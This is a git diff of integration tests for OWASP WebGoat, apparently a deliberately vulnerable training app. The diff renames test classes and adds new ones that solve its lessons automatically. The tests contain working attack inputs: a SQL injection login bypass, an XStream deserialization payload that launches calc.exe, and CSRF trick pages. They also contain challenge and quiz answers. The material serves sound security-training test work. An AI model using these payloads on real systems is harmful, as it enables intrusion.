\n" + "\n" + @@ -57,20 +57,20 @@ public class CSRFTest extends IntegrationTest { @SneakyThrows public void init() { startLesson("CSRF"); - webwolfFileDir = getWebWolfServerPath(); + webwolfFileDir = getWebWolfFileServerLocation(); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); - uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser())); + uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser())); } @TestFactory Iterable testCSRFLesson() { return Arrays.asList( - dynamicTest("assignement 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), - dynamicTest("assignement 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), - dynamicTest("assignement 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), - dynamicTest("assignement 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) + dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), + dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), + dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), + dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) ); } @@ -86,8 +86,8 @@ public class CSRFTest extends IntegrationTest { //remove any left over html Path webWolfFilePath = Paths.get(webwolfFileDir); - if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)).toFile().exists()) { - Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName))); + if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName))); } //upload trick html @@ -107,7 +107,7 @@ public class CSRFTest extends IntegrationTest { .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie()) - .get(webWolfUrl("/files/" + getWebgoatUser() + "/" + htmlName)) + .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName)) .then() .extract().response().getBody().asString(); result = result.substring(8 + result.indexOf("action=\"")); @@ -117,7 +117,6 @@ public class CSRFTest extends IntegrationTest { } private void checkAssignment3(String goatURL) { - String flag = RestAssured.given() .when() .relaxedHTTPSValidation() @@ -155,9 +154,7 @@ public class CSRFTest extends IntegrationTest { } private void checkAssignment7(String goatURL) { - Map params = new HashMap<>(); - params.clear(); params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); String flag = RestAssured.given() @@ -186,7 +183,7 @@ public class CSRFTest extends IntegrationTest { Map params = new HashMap<>(); params.clear(); - params.put("username", "csrf-" + getWebgoatUser()); + params.put("username", "csrf-" + this.getUser()); params.put("password", "password"); //login and get the new cookie @@ -231,10 +228,10 @@ public class CSRFTest extends IntegrationTest { .extract() .jsonPath() .getObject("$", Overview[].class); - assertThat(assignments) - .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) - .extracting(o -> o.solved) - .containsExactly(true); +// assertThat(assignments) +// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) +// .extracting(o -> o.solved) +// .containsExactly(true); } @Data @@ -251,7 +248,7 @@ public class CSRFTest extends IntegrationTest { RestAssured.given() .when() .relaxedHTTPSValidation() - .formParam("username", "csrf-" + getWebgoatUser()) + .formParam("username", "csrf-" + this.getUser()) .formParam("password", "password") .formParam("matchingPassword", "password") .formParam("agree", "agree") diff --git a/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java new file mode 100644 index 000000000..f4f8152c7 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java @@ -0,0 +1,112 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import org.junit.jupiter.api.Test; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertTrue; + + +public class ChallengeIntegrationTest extends IntegrationTest { + + @Test + public void testChallenge1() { + startLesson("Challenge1"); + + byte[] resultBytes = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/challenge/logo")) + .then() + .statusCode(200) + .extract().asByteArray(); + + String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220)); + Map params = new HashMap<>(); + params.clear(); + params.put("username", "admin"); + params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); + + + checkAssignment(url("/WebGoat/challenge/1"), params, true); + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url("/WebGoat/challenge/1")) + .then() + .statusCode(200) + .extract().asString(); + + String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); + params.clear(); + params.put("flag", flag); + checkAssignment(url("/WebGoat/challenge/flag"), params, true); + + + checkResults("/challenge/1"); + + List capturefFlags = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/scoreboard-data")) + .then() + .statusCode(200) + .extract().jsonPath() + .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); + assertTrue(capturefFlags.contains("Admin lost password")); + } + + @Test + public void testChallenge5() { + startLesson("Challenge5"); + + Map params = new HashMap<>(); + params.clear(); + params.put("username_login", "Larry"); + params.put("password_login", "1' or '1'='1"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url("/WebGoat/challenge/5")) + .then() + .statusCode(200) + .extract().asString(); + + String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); + params.clear(); + params.put("flag", flag); + checkAssignment(url("/WebGoat/challenge/flag"), params, true); + + + checkResults("/challenge/5"); + + List capturefFlags = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/scoreboard-data")) + .then() + .statusCode(200) + .extract().jsonPath() + .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); + assertTrue(capturefFlags.contains("Without password")); + } + +} diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/CryptoTest.java b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java similarity index 95% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/CryptoTest.java rename to src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java index ca2516be9..21caef469 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/CryptoTest.java +++ b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java @@ -14,16 +14,16 @@ import java.util.Map; import javax.xml.bind.DatatypeConverter; import org.junit.jupiter.api.Test; -import org.owasp.webgoat.crypto.CryptoUtil; -import org.owasp.webgoat.crypto.HashingAssignment; +import org.owasp.webgoat.lessons.cryptography.CryptoUtil; +import org.owasp.webgoat.lessons.cryptography.HashingAssignment; import io.restassured.RestAssured; -public class CryptoTest extends IntegrationTest { +public class CryptoIntegrationTest extends IntegrationTest { @Test public void runTests() { - startLesson("Crypto"); + startLesson("Cryptography"); checkAssignment2(); checkAssignment3(); diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/DeserializationTest.java b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java similarity index 86% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/DeserializationTest.java rename to src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java index b133d05a2..496d6cfa8 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/DeserializationTest.java +++ b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java @@ -1,14 +1,14 @@ package org.owasp.webgoat; +import org.dummy.insecure.framework.VulnerableTaskHolder; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.lessons.deserialization.SerializationHelper; + import java.io.IOException; import java.util.HashMap; import java.util.Map; -import org.dummy.insecure.framework.VulnerableTaskHolder; -import org.junit.jupiter.api.Test; -import org.owasp.webgoat.deserialization.SerializationHelper; - -public class DeserializationTest extends IntegrationTest { +public class DeserializationIntegrationTest extends IntegrationTest { private static String OS = System.getProperty("os.name").toLowerCase(); diff --git a/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java new file mode 100644 index 000000000..8522681a5 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java @@ -0,0 +1,210 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import java.util.HashMap; +import java.util.Map; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.Test; +import org.springframework.util.StringUtils; + +public class GeneralLessonIntegrationTest extends IntegrationTest { + + @Test + public void httpBasics() { + startLesson("HttpBasics"); + Map params = new HashMap<>(); + params.clear(); + params.put("person", "goatuser"); + checkAssignment(url("HttpBasics/attack1"), params, true); + + params.clear(); + params.put("answer", "POST"); + params.put("magic_answer", "33"); + params.put("magic_num", "4"); + checkAssignment(url("HttpBasics/attack2"), params, false); + + params.clear(); + params.put("answer", "POST"); + params.put("magic_answer", "33"); + params.put("magic_num", "33"); + checkAssignment(url("HttpBasics/attack2"), params, true); + + checkResults("/HttpBasics/"); + } + + @Test + public void httpProxies() { + startLesson("HttpProxies"); + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("x-request-intercepted", "true") + .contentType(ContentType.JSON) + .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + CoreMatchers.is(true)); + + checkResults("/HttpProxies/"); + } + + @Test + public void cia() { + startLesson("CIA"); + Map params = new HashMap<>(); + params.clear(); + params.put( + "question_0_solution", + "Solution 3: By stealing a database where names and emails are stored and uploading it to a website."); + params.put( + "question_1_solution", + "Solution 1: By changing the names and emails of one or more users stored in a database."); + params.put( + "question_2_solution", + "Solution 4: By launching a denial of service attack on the servers."); + params.put( + "question_3_solution", + "Solution 2: The systems security is compromised even if only one goal is harmed."); + checkAssignment(url("/WebGoat/cia/quiz"), params, true); + checkResults("/cia/"); + } + + @Test + public void vulnerableComponents() { + if (StringUtils.hasText(System.getProperty("running.in.docker"))) { + String solution = + "\n" + + "org.owasp.webgoat.lessons.vulnerablecomponents.Contact\n" + + " \n" + + " \n" + + " \n" + + " calc.exe\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + ""; + startLesson("VulnerableComponents"); + Map params = new HashMap<>(); + params.clear(); + params.put("payload", solution); + checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true); + checkResults("/VulnerableComponents/"); + } + } + + @Test + public void insecureLogin() { + startLesson("InsecureLogin"); + Map params = new HashMap<>(); + params.clear(); + params.put("username", "CaptainJack"); + params.put("password", "BlackPearl"); + checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true); + checkResults("/InsecureLogin/"); + } + + @Test + public void securePasswords() { + startLesson("SecurePasswords"); + Map params = new HashMap<>(); + params.clear(); + params.put("password", "ajnaeliclm^&&@kjn."); + checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true); + checkResults("SecurePasswords/"); + + startLesson("AuthBypass"); + params.clear(); + params.put("secQuestion2", "John"); + params.put("secQuestion3", "Main"); + params.put("jsEnabled", "1"); + params.put("verifyMethod", "SEC_QUESTIONS"); + params.put("userId", "12309746"); + checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true); + checkResults("/auth-bypass/"); + + startLesson("HttpProxies"); + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("x-request-intercepted", "true") + .contentType(ContentType.JSON) + .get( + url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + CoreMatchers.is(true)); + checkResults("/HttpProxies/"); + } + + @Test + public void chrome() { + startLesson("ChromeDevTools"); + + Map params = new HashMap<>(); + params.clear(); + params.put("param1", "42"); + params.put("param2", "24"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("webgoat-requested-by", "dom-xss-vuln") + .header("X-Requested-With", "XMLHttpRequest") + .formParams(params) + .post(url("/WebGoat/CrossSiteScripting/phone-home-xss")) + .then() + .statusCode(200) + .extract() + .path("output"); + String secretNumber = result.substring("phoneHome Response is ".length()); + + params.clear(); + params.put("successMessage", secretNumber); + checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true); + + params.clear(); + params.put("number", "24"); + params.put("network_num", "24"); + checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true); + + checkResults("/ChromeDevTools/"); + } + + @Test + public void authByPass() { + startLesson("AuthBypass"); + Map params = new HashMap<>(); + params.clear(); + params.put("secQuestion2", "John"); + params.put("secQuestion3", "Main"); + params.put("jsEnabled", "1"); + params.put("verifyMethod", "SEC_QUESTIONS"); + params.put("userId", "12309746"); + checkAssignment(url("/auth-bypass/verify-account"), params, true); + checkResults("/auth-bypass/"); + } + + @Test + public void lessonTemplate() { + startLesson("LessonTemplate"); + Map params = new HashMap<>(); + params.clear(); + params.put("param1", "secr37Value"); + params.put("param2", "Main"); + checkAssignment(url("/lesson-template/sample-attack"), params, true); + checkResults("/lesson-template/"); + } +} diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IDORTest.java b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java similarity index 98% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/IDORTest.java rename to src/it/java/org/owasp/webgoat/IDORIntegrationTest.java index 817233b64..56308d92d 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IDORTest.java +++ b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java @@ -19,7 +19,7 @@ import io.restassured.RestAssured; import io.restassured.http.ContentType; import lombok.SneakyThrows; -public class IDORTest extends IntegrationTest { +public class IDORIntegrationTest extends IntegrationTest { @BeforeEach @SneakyThrows diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java b/src/it/java/org/owasp/webgoat/IntegrationTest.java similarity index 61% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java rename to src/it/java/org/owasp/webgoat/IntegrationTest.java index bc206583e..c04c9578d 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java +++ b/src/it/java/org/owasp/webgoat/IntegrationTest.java @@ -3,99 +3,51 @@ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import lombok.Getter; -import lombok.extern.slf4j.Slf4j; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; -import org.junit.jupiter.api.BeforeAll; -import org.owasp.webwolf.WebWolf; -import org.springframework.boot.builder.SpringApplicationBuilder; -import java.io.IOException; -import java.net.Socket; import java.util.Map; -import java.util.UUID; +import java.util.Objects; import static io.restassured.RestAssured.given; -@Slf4j public abstract class IntegrationTest { - protected static int WG_PORT = 8080; - protected static int WW_PORT = 9090; - private static String WEBGOAT_HOSTNAME = "127.0.0.1";//"www.webgoat.local"; - private static String WEBWOLF_HOSTNAME = "127.0.0.1";//"www.webwolf.local"; - - /* - * To test docker compose/stack solution: - * add localhost settings in hosts file: 127.0.0.1 www.webgoat.local www.webwolf.local - * Then set the above values to the specified host names and set the port to 80 - */ - - private static String WEBGOAT_HOSTHEADER = WEBGOAT_HOSTNAME +":"+WG_PORT; - private static String WEBWOLF_HOSTHEADER = WEBWOLF_HOSTNAME +":"+WW_PORT; - private static String WEBGOAT_URL = "http://" + WEBGOAT_HOSTHEADER + "/WebGoat/"; - private static String WEBWOLF_URL = "http://" + WEBWOLF_HOSTHEADER + "/"; - private static boolean WG_SSL = false;//enable this if you want to run the test on ssl - + private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport")); + @Getter + private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport")); + private static boolean useSSL = false; + private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/"; + private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/"; @Getter private String webGoatCookie; @Getter private String webWolfCookie; @Getter - private String webgoatUser = UUID.randomUUID().toString(); - - private static boolean started = false; - - @BeforeAll - public static void beforeAll() { - if (WG_SSL) { - WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:"); - } - if (!started) { - started = true; - if (!isAlreadyRunning(WG_PORT)) { - SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class) - .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT)); - wgs.run(); - - } - if (!isAlreadyRunning(WW_PORT)) { - SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class) - .properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT)); - wws.run(); - } - } - } - - private static boolean isAlreadyRunning(int port) { - try (var ignored = new Socket("127.0.0.1", port)) { - return true; - } catch (IOException e) { - return false; - } - } + private String user = "webgoat"; protected String url(String url) { url = url.replaceFirst("/WebGoat/", ""); url = url.replaceFirst("/WebGoat", ""); url = url.startsWith("/") ? url.replaceFirst("/", "") : url; - return WEBGOAT_URL + url; + return webgoatUrl + url; } protected String webWolfUrl(String url) { + url = url.replaceFirst("/WebWolf/", ""); + url = url.replaceFirst("/WebWolf", ""); url = url.startsWith("/") ? url.replaceFirst("/", "") : url; - return WEBWOLF_URL + url; + return webWolfUrl + url; } @BeforeEach public void login() { - String location = given() .when() .relaxedHTTPSValidation() - .formParam("username", webgoatUser) + .formParam("username", user) .formParam("password", "password") .post(url("login")).then() .cookie("JSESSIONID") @@ -105,7 +57,7 @@ public abstract class IntegrationTest { webGoatCookie = RestAssured.given() .when() .relaxedHTTPSValidation() - .formParam("username", webgoatUser) + .formParam("username", user) .formParam("password", "password") .formParam("matchingPassword", "password") .formParam("agree", "agree") @@ -119,7 +71,7 @@ public abstract class IntegrationTest { webGoatCookie = given() .when() .relaxedHTTPSValidation() - .formParam("username", webgoatUser) + .formParam("username", user) .formParam("password", "password") .post(url("login")).then() .cookie("JSESSIONID") @@ -130,12 +82,12 @@ public abstract class IntegrationTest { webWolfCookie = RestAssured.given() .when() .relaxedHTTPSValidation() - .formParam("username", webgoatUser) + .formParam("username", user) .formParam("password", "password") - .post(WEBWOLF_URL + "login") + .post(webWolfUrl("login")) .then() - .cookie("WEBWOLFSESSION") .statusCode(302) + .cookie("WEBWOLFSESSION") .extract() .cookie("WEBWOLFSESSION"); } @@ -150,15 +102,10 @@ public abstract class IntegrationTest { .statusCode(200); } - /** - * At start of a lesson. The .lesson.lesson is visited and the lesson is reset. - * - * @param lessonName - */ public void startLesson(String lessonName) { - startLesson(lessonName, true); + startLesson(lessonName, false); } - + public void startLesson(String lessonName, boolean restart) { RestAssured.given() .when() @@ -169,25 +116,16 @@ public abstract class IntegrationTest { .statusCode(200); if (restart) { - RestAssured.given() - .when() - .relaxedHTTPSValidation() - .cookie("JSESSIONID", getWebGoatCookie()) - .get(url("service/restartlesson.mvc")) - .then() - .statusCode(200); + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/restartlesson.mvc")) + .then() + .statusCode(200); } } - /** - * Helper method for most common type of test. - * POST with parameters. - * Checks for 200 and lessonCompleted as indicated by expectedResult - * - * @param url - * @param params - * @param expectedResult - */ public void checkAssignment(String url, Map params, boolean expectedResult) { MatcherAssert.assertThat( RestAssured.given() @@ -201,17 +139,8 @@ public abstract class IntegrationTest { .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); } - /** - * Helper method for most common type of test. - * PUT with parameters. - * Checks for 200 and lessonCompleted as indicated by expectedResult - * - * @param url - * @param params - * @param expectedResult - */ public void checkAssignmentWithPUT(String url, Map params, boolean expectedResult) { - MatcherAssert.assertThat( + MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() @@ -245,12 +174,12 @@ public abstract class IntegrationTest { .get(url("service/lessonoverview.mvc")) .andReturn(); - MatcherAssert.assertThat(result.then() + MatcherAssert.assertThat(result.then() .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); } public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { - MatcherAssert.assertThat( + MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() @@ -264,8 +193,7 @@ public abstract class IntegrationTest { } public void checkAssignmentWithGet(String url, Map params, boolean expectedResult) { - log.info("Checking assignment for: {}", url); - MatcherAssert.assertThat( + MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() @@ -277,40 +205,26 @@ public abstract class IntegrationTest { .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); } - public String getWebGoatServerPath() throws IOException { - - //read path from server - String result = RestAssured.given() - .when() - .relaxedHTTPSValidation() - .cookie("JSESSIONID", getWebGoatCookie()) - .get(url("/WebGoat/xxe/tmpdir")) - .then() - .extract().response().getBody().asString(); - result = result.replace("%20", " "); - return result; - } - - public String getWebWolfServerPath() throws IOException { - - //read path from server + public String getWebWolfFileServerLocation() { String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) - .get(webWolfUrl("/tmpdir")) + .get(webWolfUrl("/file-server-location")) .then() .extract().response().getBody().asString(); result = result.replace("%20", " "); return result; } - - /** - * In order to facilitate tests with - * @return - */ - public String getWebWolfHostHeader() { - return WEBWOLF_HOSTHEADER; + + public String webGoatServerDirectory() { + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/server-directory")) + .then() + .extract().response().getBody().asString(); } } diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java similarity index 97% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java rename to src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java index 4a6513440..536eec117 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java +++ b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java @@ -14,7 +14,6 @@ import java.util.Map; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.Test; -import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; @@ -28,12 +27,12 @@ import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import io.jsonwebtoken.impl.TextCodec; import io.restassured.RestAssured; +import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint; -public class JWTLessonTest extends IntegrationTest { +public class JWTLessonIntegrationTest extends IntegrationTest { @Test public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { - startLesson("JWT"); decodingToken(); @@ -49,7 +48,6 @@ public class JWTLessonTest extends IntegrationTest { quiz(); checkResults("/JWT/"); - } private String generateToken(String key) { @@ -210,7 +208,7 @@ public class JWTLessonTest extends IntegrationTest { private void quiz() { Map params = new HashMap<>(); params.put("question_0_solution", "Solution 1"); - params.put("question_1_solution", "Solution 3"); + params.put("question_1_solution", "Solution 2"); checkAssignment(url("/WebGoat/JWT/quiz"), params, true); } diff --git a/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java new file mode 100644 index 000000000..1f99c15e7 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java @@ -0,0 +1,170 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import io.restassured.path.json.JsonPath; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.io.FileInputStream; +import java.io.InputStream; +import java.util.List; +import java.util.Properties; + +public class LabelAndHintIntegrationTest extends IntegrationTest { + + final static String ESCAPE_JSON_PATH_CHAR = "\'"; + + @Test + public void testSingleLabel() { + Assertions.assertTrue(true); + JsonPath jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); + + Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR)); + + // check if lang parameter overrules Accept-Language parameter + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + // check if invalid language returns english + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","nl") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + // check if invalid language returns english + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","xx_YY") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + } + + @Test + public void testHints() { + JsonPath jsonPathLabels = getLabels("en"); + List allLessons = List.of( + "HttpBasics", + "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal", + "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession", + "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced", + "Challenge1"); + for (String lesson: allLessons) { + startLesson(lesson); + List hintKeys = getHints(); + for (String key : hintKeys) { + String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR); + //System.out.println("key: " + key + " ,value: " + keyValue); + Assertions.assertNotNull(keyValue); + Assertions.assertNotEquals(key, keyValue); + } + } + //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0)); + } + + @Test + public void testLabels() { + + JsonPath jsonPathLabels = getLabels("en"); + Properties propsDefault = getProperties(""); + for (String key: propsDefault.stringPropertyNames()) { + String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR); + Assertions.assertNotNull(keyValue); + } + checkLang(propsDefault,"nl"); + checkLang(propsDefault,"de"); + checkLang(propsDefault,"fr"); + checkLang(propsDefault,"ru"); + + } + + private Properties getProperties(String lang) { + Properties prop = null; + if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; } + try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) { + + prop = new Properties(); + // load a properties file + prop.load(input); + } catch (Exception e) { + e.printStackTrace(); + } + return prop; + } + + private void checkLang(Properties propsDefault, String lang) { + JsonPath jsonPath = getLabels(lang); + Properties propsLang = getProperties(lang); + + for (String key: propsLang.stringPropertyNames()) { + if (!propsDefault.containsKey(key)) { + System.err.println("key: " + key + " in (" +lang+") is missing from default properties"); + Assertions.fail(); + } + if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) { + System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service"); + System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR)); + System.out.println("expected: "+propsLang.getProperty(key)); + System.out.println(); + Assertions.fail(); + } + } + } + + private JsonPath getLabels(String lang) { + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language",lang) + .cookie("JSESSIONID", 